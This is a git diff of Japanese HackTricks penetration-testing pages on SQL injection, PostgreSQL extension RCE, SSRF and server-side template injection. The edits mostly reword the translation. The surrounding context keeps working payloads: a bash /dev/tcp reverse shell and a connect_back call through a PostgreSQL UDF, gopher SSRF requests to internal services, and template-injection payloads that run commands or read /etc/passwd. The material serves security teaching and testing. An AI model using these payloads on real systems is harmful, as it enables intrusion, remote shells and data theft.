or '1'='1 -1' or 1337.1337e1 or '1'='1 @@ -444,23 +445,25 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database()) ``` ### カラム名制限のバイパス -まず最初に、**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合**、次のようにすることができます: `0 UNION SELECT * FROM flag` +まず第一に、**元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合**、次のようにすることができます: `0 UNION SELECT * FROM flag` **名前を使用せずにテーブルの第三カラムにアクセスすることが可能**で、次のようなクエリを使用します: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;` したがって、sqlinjectionでは次のようになります: ```bash # This is an example with 3 columns that will extract the column number 3 -1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; ``` -または**カンマバイパス**を使用します: +または **カンマバイパス** を使用して: ```bash # In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select" -1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c ``` このトリックは[https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)から取られました。 -### WAFバイパスサジェスターツール +### WAFバイパス提案ツール -{% embed url="https://github.com/m4ll0k/Atlas" %} +{{#ref}} +https://github.com/m4ll0k/Atlas +{{#endref}} ## その他のガイド @@ -469,7 +472,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database()) ## ブルートフォース検出リスト -{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %} +{{#ref}} +https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt +{{#endref}} ​ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md index 48081cd28..3b4795cf6 100644 --- a/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md +++ b/src/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md @@ -4,7 +4,7 @@ ## PostgreSQL Extensions -PostgreSQLは、拡張性をコア機能として開発されており、拡張機能を組み込み機能のようにシームレスに統合できます。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の関数、演算子、または型を豊かにします。 +PostgreSQLは、拡張性をコア機能として開発されており、拡張機能を組み込み機能のようにシームレスに統合することができます。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の関数、演算子、または型を豊かにします。 バージョン8.1以降、拡張ライブラリには特定の要件が課せられています:特別なヘッダーでコンパイルされなければなりません。これがないと、PostgreSQLはそれらを実行せず、互換性があり、潜在的に安全な拡張機能のみが使用されることを保証します。 @@ -75,7 +75,7 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro. ``` このエラーは[PostgreSQLのドキュメント](https://www.postgresql.org/docs/current/static/xfunc-c.html)で説明されています: -> 動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないようにするために、PostgreSQLはファイルが適切な内容を持つ「マジックブロック」を含んでいるかどうかをチェックします。これにより、サーバーは異なるメジャーバージョンのPostgreSQL用にコンパイルされたコードなど、明らかな互換性の問題を検出できます。マジックブロックはPostgreSQL 8.2以降が必要です。マジックブロックを含めるには、ヘッダーfmgr.hをインクルードした後、モジュールソースファイルの1つ(そして1つだけ)に次のように記述します: +> 動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないように、PostgreSQLはファイルが適切な内容を持つ「マジックブロック」を含んでいるかどうかをチェックします。これにより、サーバーは異なるメジャーバージョンのPostgreSQL用にコンパイルされたコードなど、明らかな互換性の問題を検出できます。マジックブロックはPostgreSQL 8.2以降が必要です。マジックブロックを含めるには、ヘッダーfmgr.hをインクルードした後、モジュールソースファイルの1つ(そして1つだけ)に次のように記述します: > > `#ifdef PG_MODULE_MAGIC`\ > `PG_MODULE_MAGIC;`\ @@ -90,9 +90,9 @@ PostgreSQLバージョン8.2以降、攻撃者がシステムを悪用するプ SELECT version(); PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit ``` -互換性のために、主要バージョンが一致することが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすることで、成功した統合が保証されるはずです。 +互換性のために、メジャーバージョンが一致することが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすることで、成功した統合が保証されるはずです。 -そのバージョンをシステムにインストールするには: +そのバージョンをシステムにインストールするには: ```bash apt install postgresql postgresql-server-dev-9.6 ``` @@ -121,7 +121,9 @@ SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'); ``` この**ライブラリは事前コンパイル済み**で、いくつかの異なるPostgreSQLバージョンに対応しており、さらに**このプロセスを自動化することもできます**(PostgreSQLアクセスがある場合): -{% embed url="https://github.com/Dionach/pgexec" %} +{{#ref}} +https://github.com/Dionach/pgexec +{{#endref}} ### WindowsでのRCE @@ -254,7 +256,7 @@ PG_RETURN_INT32(arg + 1); ```c CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT; ``` -[PolyUDFプロジェクト](https://github.com/rop-la/PolyUDF)は、完全なMS Visual Studioプロジェクトと、マルチバージョンサポートを含む使用可能なライブラリ(_command eval_、_exec_、_cleanup_を含む)を提供する良い出発点です。 +[PolyUDFプロジェクト](https://github.com/rop-la/PolyUDF)は、完全なMS Visual Studioプロジェクトと、マルチバージョンサポートを含む使用可能なライブラリ(_command eval_、_exec_、_cleanup_を含む)を備えた良い出発点です。 ### 最新のPostgreSQLバージョンにおけるRCE @@ -262,7 +264,7 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha これらの制限にもかかわらず、認証されたデータベースの`superuser`は「大きなオブジェクト」を使用してファイルシステムに**バイナリファイル**を書き込むことが可能です。この機能は、テーブルの更新や作成などのデータベース操作に不可欠な`C:\Program Files\PostgreSQL\11\data`ディレクトリ内での書き込みにも及びます。 -重要な脆弱性は、`CREATE FUNCTION`コマンドから生じます。このコマンドはデータディレクトリへの**ディレクトリトラバーサル**を**許可**します。したがって、認証された攻撃者はこのトラバーサルを**悪用**してデータディレクトリに共有ライブラリファイルを書き込み、その後**ロード**することができます。このエクスプロイトにより、攻撃者は任意のコードを実行し、システム上でネイティブコードの実行を達成します。 +重要な脆弱性は、`CREATE FUNCTION`コマンドから生じます。このコマンドはデータディレクトリへの**ディレクトリトラバーサル**を**許可**します。その結果、認証された攻撃者はこのトラバーサルを**悪用**してデータディレクトリに共有ライブラリファイルを書き込み、その後**ロード**することができます。このエクスプロイトにより、攻撃者は任意のコードを実行し、システム上でネイティブコードの実行を達成します。 #### 攻撃フロー @@ -277,11 +279,11 @@ big-binary-files-upload-postgresql.md create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict; select connect_back('192.168.100.54', 1234); ``` -_注意:create関数が拡張子を追加するため、`.dll`拡張子を付ける必要はありません。_ +_拡張子 `.dll` を追加する必要はありません。create 関数がそれを追加します。_ 詳細については、**[こちらの元の出版物をお読みください](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。\ -その出版物では、**[postgres拡張を生成するために使用されたコード](https://github.com/sourceincite/tools/blob/master/pgpwn.c)**が示されています(_postgres拡張をコンパイルする方法を学ぶには、以前のバージョンのいずれかをお読みください_)。\ -同じページには、この技術を自動化するための**エクスプロイト**が示されています: +その出版物では、**[Postgres 拡張を生成するために使用されたコード](https://github.com/sourceincite/tools/blob/master/pgpwn.c)** が示されています(_Postgres 拡張をコンパイルする方法については、以前のバージョンのいずれかをお読みください_)。\ +同じページで、この技術を自動化するための**エクスプロイト**が提供されました: ```python #!/usr/bin/env python3 import sys diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/README.md b/src/pentesting-web/ssrf-server-side-request-forgery/README.md index 51e8a0938..71b50a8f6 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/README.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/README.md @@ -22,7 +22,7 @@ ## ホワイトリストドメインのバイパス -通常、SSRFは**特定のホワイトリストドメイン**またはURLでのみ機能します。次のページには、そのホワイトリストをバイパスするための**技術のコンパイル**があります: +通常、SSRFは**特定のホワイトリストドメイン**またはURLでのみ機能することがわかります。次のページには、そのホワイトリストをバイパスするための**技術のまとめ**があります: {{#ref}} url-format-bypass.md @@ -40,7 +40,7 @@ url-format-bypass.md - **dict://** - DICT URLスキームは、DICTプロトコルを介して定義や単語リストにアクセスするために使用されることが説明されています。特定の単語、データベース、エントリ番号をターゲットにした構築されたURLの例が示され、攻撃者提供の資格情報を使用してDICTサーバーに接続するためにPHPスクリプトが悪用される可能性があることが示されています: `dict://;@:/d:::` - **SFTP://** -- セキュアシェルを介った安全なファイル転送のためのプロトコルとして特定され、悪意のあるSFTPサーバーに接続するためにPHPスクリプトが悪用される方法の例が提供されています: `url=sftp://generic.com:11111/` +- セキュアシェルを介った安全なファイル転送のためのプロトコルとして特定され、悪意のあるSFTPサーバーに接続するためにPHPスクリプトが悪用される方法の例が示されています: `url=sftp://generic.com:11111/` - **TFTP://** - UDP上で動作するトリビアルファイル転送プロトコルが言及され、TFTPサーバーにリクエストを送信するために設計されたPHPスクリプトの例が示されています。TFTPリクエストは、ポート '12346' の 'generic.com' に対してファイル 'TESTUDPPACKET' に対して行われます: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET` - **LDAP://** @@ -60,7 +60,7 @@ From https://twitter.com/har1sec/status/1182255952055164929 file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt} ``` - **Gopher://** -- GopherプロトコルのIP、ポート、バイトを指定してサーバーと通信する能力について、Gopherusやremote-method-guesserのようなツールを使ってペイロードを作成する方法が説明されています。二つの異なる使用例が示されています: +- GopherプロトコルのIP、ポート、バイトを指定してサーバーと通信する能力について説明し、ペイロードを作成するためのGopherusやremote-method-guesserなどのツールについても触れています。二つの異なる使用例が示されています: ### Gopher:// @@ -82,7 +82,7 @@ Subject: Ah Ah AHYou didn't say the magic word ! . QUIT ``` -**ゴーファー HTTP** +**ゴーファーHTTP** ```bash #For new lines you can use %0A, %0D%0A gopher://:8080/_GET / HTTP/1.0%0A%0A @@ -106,7 +106,7 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0 ``` ## SSRF via Referrer header & Others -サーバー上の分析ソフトウェアは、受信リンクを追跡するためにReferrerヘッダーをログに記録することが多く、この慣行はアプリケーションをServer-Side Request Forgery (SSRF) 脆弱性に無意識のうちにさらします。これは、そのようなソフトウェアがReferrerヘッダーに記載された外部URLを訪問してリファラルサイトのコンテンツを分析する可能性があるためです。これらの脆弱性を明らかにするために、Burp Suiteプラグイン "**Collaborator Everywhere**" の使用が推奨されており、分析ツールがRefererヘッダーを処理する方法を利用して潜在的なSSRF攻撃面を特定します。 +サーバー上の分析ソフトウェアは、受信リンクを追跡するためにReferrerヘッダーをログに記録することが多く、この慣行はアプリケーションをServer-Side Request Forgery (SSRF) 脆弱性に無意識のうちにさらします。これは、そのようなソフトウェアがReferrerヘッダーに記載された外部URLを訪れて、リファラルサイトのコンテンツを分析する可能性があるためです。これらの脆弱性を明らかにするために、Burp Suiteプラグイン "**Collaborator Everywhere**" の使用が推奨されており、分析ツールがRefererヘッダーを処理する方法を利用して、潜在的なSSRF攻撃面を特定します。 ## SSRF via SNI data from certificate @@ -179,7 +179,7 @@ return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%4 if __name__ == "__main__": app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ``` -## 誤設定されたプロキシによるSSRF +## SSRFへの誤設定されたプロキシ トリック [**この投稿から**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)。 @@ -206,7 +206,7 @@ app.run(threaded=False) ``` -Flaskは**`@`**を初期文字として使用することを許可しており、**初期ホスト名をユーザー名に**して新しいものを注入することができます。攻撃リクエスト: +Flaskは**`@`**を初期文字として使用することを許可しており、**初期ホスト名をユーザー名**として使用し、新しいホスト名を注入することができます。攻撃リクエスト: ```http GET @evildomain.com/ HTTP/1.1 Host: target.com @@ -224,7 +224,7 @@ GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` -### PHP組み込みWebサーバー +### PHP Built-in Web Server
@@ -245,7 +245,7 @@ var_dump($response); ```
-PHPは、URLのパスのスラッシュの前に**char `*`**を使用することを許可していますが、他にも制限があります。例えば、ルートパス `/` のみで使用でき、最初のスラッシュの前にドット `.` を使用することは許可されていません。そのため、例えばドットなしの16進数エンコードされたIPアドレスを使用する必要があります。 +PHPは、URLのパスのスラッシュの前に**char `*`を使用することを許可しています**が、他にも制限があります。例えば、ルートパス `/` のみで使用でき、最初のスラッシュの前にドット `.` を使用することは許可されていないため、例えばドットなしの16進数エンコードされたIPアドレスを使用する必要があります。 ```http GET *@0xa9fea9fe/ HTTP/1.1 Host: target.com @@ -263,7 +263,7 @@ Connection: close [**`Singularity of Origin`**](https://github.com/nccgroup/singularity) は [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding) 攻撃を実行するためのツールです。攻撃サーバーの DNS 名の IP アドレスをターゲットマシンの IP アドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。 -また、**http://rebind.it/singularity.html** で **公開されているサーバー**もチェックしてください。 +また、**http://rebind.it/singularity.html** にある **公開実行中のサーバー** もチェックしてください。 ## DNS Rebidding + TLS セッション ID/セッションチケット @@ -275,14 +275,14 @@ Connection: close 攻撃: -1. ユーザー/ボットに **攻撃者が制御するドメイン**に **アクセス**させる -2. **DNS** の **TTL** は **0** 秒(したがって、被害者はすぐにドメインの IP を再確認します) -3. 被害者と攻撃者のドメイン間に **TLS 接続**が作成されます。攻撃者は **セッション ID またはセッションチケットの中に** **ペイロードを挿入**します。 -4. **ドメイン**は **自分自身**に対して **無限ループ**のリダイレクトを開始します。これの目的は、ユーザー/ボットがドメインにアクセスし続け、再度 **DNS リクエスト**を実行させることです。 -5. DNS リクエストでは **プライベート IP** アドレスが **今** 与えられます(例えば 127.0.0.1) -6. ユーザー/ボットは **TLS 接続を再確立しようとし**、そのために **セッション** ID/チケット ID(攻撃者の **ペイロード**が含まれていた)を **送信**します。おめでとうございます、あなたは **ユーザー/ボットに自分自身を攻撃させる**ことに成功しました。 +1. ユーザー/ボットに **攻撃者が制御するドメイン** に **アクセス** させる +2. **DNS** の **TTL** は **0** 秒です(したがって、被害者はすぐにドメインの IP を再確認します) +3. 被害者と攻撃者のドメイン間に **TLS 接続** が作成されます。攻撃者は **セッション ID またはセッションチケットの中に** **ペイロードを挿入** します。 +4. **ドメイン** は **自分自身** に対して **無限ループ** のリダイレクトを開始します。これの目的は、ユーザー/ボットがドメインにアクセスし続け、再度 **ドメインの DNS リクエストを実行させる** ことです。 +5. DNS リクエストでは **プライベート IP** アドレスが **今** (例えば 127.0.0.1)提供されます。 +6. ユーザー/ボットは **TLS 接続を再確立しようとし**、そのために **セッション** ID/チケット ID(攻撃者の **ペイロード** が含まれていた)を **送信** します。おめでとうございます、あなたは **ユーザー/ボットに自分自身を攻撃させる** ことに成功しました。 -この攻撃中、localhost:11211 (_memcache_) を攻撃したい場合、被害者に www.attacker.com:11211 との初期接続を確立させる必要があります(**ポートは常に同じでなければなりません**)。\ +この攻撃中に、localhost:11211 (_memcache_) を攻撃したい場合は、被害者に www.attacker.com:11211 との初期接続を確立させる必要があります(**ポートは常に同じでなければなりません**)。\ この攻撃を実行するには、次のツールを使用できます: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\ **詳細情報**については、この攻撃が説明されているトークを見てください: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference) @@ -341,7 +341,9 @@ SSRF Proxy は、サーバーサイドリクエストフォージェリ (SSRF) ### 実践するために -{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %} +{{#ref}} +https://github.com/incredibleindishell/SSRF_Vulnerable_Lab +{{#endref}} ## 参考文献 diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md index 034bb0a2c..a753f112f 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md @@ -1,4 +1,4 @@ -# URLフォーマットバイパス +# URL Format Bypass {{#include ../../banners/hacktricks-training.md}} @@ -153,17 +153,19 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path ``` ### Fuzzing -ツール [**recollapse**](https://github.com/0xacb/recollapse) は、与えられた入力からバリエーションを生成し、使用されている正規表現をバイパスしようとします。詳細については [**この投稿**](https://0xacb.com/2022/11/21/recollapse/) を確認してください。 +ツール [**recollapse**](https://github.com/0xacb/recollapse) は、与えられた入力からバリエーションを生成し、使用されている正規表現をバイパスしようとします。詳細については [**この投稿**](https://0xacb.com/2022/11/21/recollapse/) も確認してください。 ### Automatic Custom Wordlists ポートスウィガーの [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) をチェックしてください。ここでは、許可されたホストと攻撃者のホストを入力すると、試すためのURLリストが生成されます。また、URLをパラメータ、Hostヘッダー、またはCORSヘッダーで使用できるかどうかも考慮されます。 -{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %} +{{#ref}} +https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet +{{#endref}} ### Bypass via redirect -サーバーがSSRFの**元のリクエストをフィルタリングしている**が、そのリクエストに対する**リダイレクト**レスポンスはフィルタリングしていない可能性があります。\ +サーバーがSSRFの**元のリクエストをフィルタリングしている**が、そのリクエストに対する**リダイレクト**レスポンスをフィルタリングしていない可能性があります。\ 例えば、`url=https://www.google.com/` を介してSSRFに脆弱なサーバーは、**urlパラメータをフィルタリングしている**かもしれません。しかし、リダイレクトしたい場所に302で応答する [pythonサーバーを使用する](https://pastebin.com/raw/ywAUhFrv) と、127.0.0.1のようなフィルタリングされたIPアドレスや、gopherのようなフィルタリングされた**プロトコル**に**アクセスできる**かもしれません。\ [このレポートをチェックしてください。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) ```python @@ -190,7 +192,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ### バックスラッシュトリック -_the backslash-trick_ は、[WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) と [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) の違いを利用します。RFC3986はURIの一般的なフレームワークですが、WHATWGはウェブURLに特化しており、現代のブラウザに採用されています。重要な違いは、WHATWG標準がバックスラッシュ(`\`)をフォワードスラッシュ(`/`)と同等と認識している点で、これがURLの解析方法に影響を与え、特にホスト名からパスへの遷移を示します。 +_バックスラッシュトリック_ は、[WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) と [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) の違いを利用します。RFC3986はURIの一般的なフレームワークですが、WHATWGはウェブURLに特化しており、現代のブラウザに採用されています。重要な違いは、WHATWG標準がバックスラッシュ(`\`)をフォワードスラッシュ(`/`)と同等と認識している点で、これがURLの解析方法に影響を与え、特にホスト名からパスへの遷移を示します。 ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg) diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index 420f3b9a3..7debf7e2a 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -2,12 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} - ## SSTI (サーバーサイドテンプレートインジェクション) とは何か サーバーサイドテンプレートインジェクションは、攻撃者がサーバー上で実行されるテンプレートに悪意のあるコードを注入できるときに発生する脆弱性です。この脆弱性は、Jinjaを含むさまざまな技術で見られます。 -Jinjaは、ウェブアプリケーションで使用される人気のあるテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう: +Jinjaは、ウェブアプリケーションで使用される人気のあるテンプレートエンジンです。Jinjaを使用した脆弱なコードスニペットを示す例を考えてみましょう: ```python output = template.render(name=request.args.get('name')) ``` @@ -17,7 +16,7 @@ output = template.render(name=request.args.get('name')) ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` -ペイロード `{{bad-stuff-here}}` が `name` パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があります。これにより、サーバーの制御を得ることができます。 +ペイロード `{{bad-stuff-here}}` は `name` パラメータに注入されます。このペイロードには、攻撃者が不正なコードを実行したり、テンプレートエンジンを操作したりすることを可能にする Jinja テンプレートディレクティブが含まれる可能性があります。これにより、サーバーの制御を得ることができます。 サーバーサイドテンプレートインジェクションの脆弱性を防ぐために、開発者はユーザー入力がテンプレートに挿入される前に適切にサニタイズおよびバリデーションされていることを確認する必要があります。入力バリデーションを実装し、コンテキストに応じたエスケープ技術を使用することで、この脆弱性のリスクを軽減できます。 @@ -25,14 +24,14 @@ http://vulnerable-website.com/?name={{bad-stuff-here}} サーバーサイドテンプレートインジェクション (SSTI) を検出するために、最初に **テンプレートをファジングする** ことが簡単なアプローチです。これは、特別な文字のシーケンス (**`${{<%[%'"}}%\`**) をテンプレートに注入し、通常のデータとこの特別なペイロードに対するサーバーの応答の違いを分析することを含みます。脆弱性の指標には以下が含まれます: -- 脆弱性を明らかにするエラーが発生し、テンプレートエンジンが特定される可能性があります。 -- 反映にペイロードが存在しない、またはその一部が欠けている場合、サーバーが通常のデータとは異なる方法で処理していることを示唆します。 +- 脆弱性を明らかにするエラーが発生し、潜在的にテンプレートエンジンが明らかになる。 +- 反映にペイロードが存在しない、またはその一部が欠けている場合、サーバーがそれを通常のデータとは異なる方法で処理していることを示唆します。 - **プレーンテキストコンテキスト**: サーバーがテンプレート式を評価するかどうかを確認することで XSS と区別します (例: `{{7*7}}`, `${7*7}`)。 -- **コードコンテキスト**: 入力パラメータを変更することで脆弱性を確認します。例えば、`http://vulnerable-website.com/?greeting=data.username` の `greeting` を変更して、サーバーの出力が動的か固定かを確認します。例えば、`greeting=data.username}}hello` がユーザー名を返すかどうかです。 +- **コードコンテキスト**: 入力パラメータを変更することで脆弱性を確認します。例えば、`http://vulnerable-website.com/?greeting=data.username` の `greeting` を変更して、サーバーの出力が動的か固定かを確認します。例えば、`greeting=data.username}}hello` がユーザー名を返すかどうか。 #### 識別フェーズ -テンプレートエンジンを特定するには、エラーメッセージを分析するか、さまざまな言語特有のペイロードを手動でテストします。エラーを引き起こす一般的なペイロードには `${7/0}`、`{{7/0}}`、および `<%= 7/0 %>` が含まれます。数学的操作に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定するのに役立ちます。 +テンプレートエンジンを識別するには、エラーメッセージを分析するか、さまざまな言語特有のペイロードを手動でテストします。エラーを引き起こす一般的なペイロードには `${7/0}`、`{{7/0}}`、および `<%= 7/0 %>` が含まれます。数学的操作に対するサーバーの応答を観察することで、特定のテンプレートエンジンを特定するのに役立ちます。 #### ペイロードによる識別 @@ -44,7 +43,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}} ### [TInjA](https://github.com/Hackmanit/TInjA) -効率的な SSTI + CSTI スキャナーで、新しいポリグロットを利用しています。 +新しいポリグロットを利用した効率的な SSTI + CSTI スキャナーです。 ```bash tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." @@ -61,22 +60,22 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` -### [テンプレートインジェクションテーブル](https://github.com/Hackmanit/template-injection-table) +### [Template Injection Table](https://github.com/Hackmanit/template-injection-table) 最も効率的なテンプレートインジェクションポリグロットと、44の最も重要なテンプレートエンジンの期待されるレスポンスを含むインタラクティブなテーブルです。 -## エクスプロイト +## Exploits -### 一般的 +### Generic -この**ワードリスト**には、以下に示すいくつかのエンジンの環境で**定義された変数**が含まれています: +この**wordlist**には、以下に示すいくつかのエンジンの環境で**定義された変数**が含まれています: - [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) - [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) ### Java -**Java - 基本的なインジェクション** +**Java - Basic injection** ```java ${7*7} ${{7*7}} @@ -113,7 +112,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI() ``` **Freemarker - サンドボックスバイパス** -⚠️ Freemarkerのバージョンが2.3.30未満の場合のみ動作します +⚠️ Freemarker バージョン 2.3.30 未満でのみ動作します ```java <#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> @@ -123,7 +122,7 @@ ${dwf.newInstance(ec,null)("id")} ``` **詳細情報** -- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) のFreeMarkerセクション +- FreeMarkerセクションの [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) ### Velocity (Java) @@ -180,7 +179,7 @@ Thymeleafはまた、ダブルアンダースコア(`__...__`)内の式を ``` **Thymeleafにおける脆弱性の例** -以下のコードスニペットを考えてみてください。これは悪用される可能性があります: +次のコードスニペットは、悪用される可能性があります: ```xml @@ -204,9 +203,9 @@ el-expression-language.md ``` **フィルターをバイパスする** -`${...}` が機能しない場合は、複数の変数式を使用できます。`#{...}`、`*{...}`、`@{...}`、または `~{...}` を試してください。 +複数の変数式を使用できます。`${...}`が機能しない場合は、`#{...}`、`*{...}`、`@{...}`、または`~{...}`を試してください。 -- `/etc/passwd` を読み取る +- `/etc/passwd`を読み取る ```java ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` @@ -262,7 +261,7 @@ Pebbleの古いバージョン ( < version 3.0.9): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} ``` -新しいバージョンのPebble: +新しいバージョンの Pebble : ```java {% raw %} {% set cmd = 'id' %} @@ -290,7 +289,7 @@ Pebbleの古いバージョン ( < version 3.0.9): {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 ``` -JinjavaはHubspotによって開発されたオープンソースプロジェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で入手可能です。 +JinjavaはHubspotによって開発されたオープンソースプロジェクトで、[https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/)で入手できます。 **Jinjava - コマンド実行** @@ -379,7 +378,7 @@ Expression Language (EL) は、JavaEEにおけるプレゼンテーション層 - **JavaServer Pages (JSP)**: JSP内でデータにアクセスし操作するためにELが使用され、ページ要素とアプリケーションデータを接続しやすくします。 - **Contexts and Dependency Injection for Java EE (CDI)**: ELはCDIと統合され、ウェブ層とマネージドビーン間のシームレスな相互作用を可能にし、より一貫したアプリケーション構造を確保します。 -**ELインタープリタの悪用**について詳しくは、以下のページを確認してください: +**ELインタープリターの悪用**について詳しくは、以下のページを確認してください: {{#ref}} el-expression-language.md @@ -418,8 +417,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1 - 